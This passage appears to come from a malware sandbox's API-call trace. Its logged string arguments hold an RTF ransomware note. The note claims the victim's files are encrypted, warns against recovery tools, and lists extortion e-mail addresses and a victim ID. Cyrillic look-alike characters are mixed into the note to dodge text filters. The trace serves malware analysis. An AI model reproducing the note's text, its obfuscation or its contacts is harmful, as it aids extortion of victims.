ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 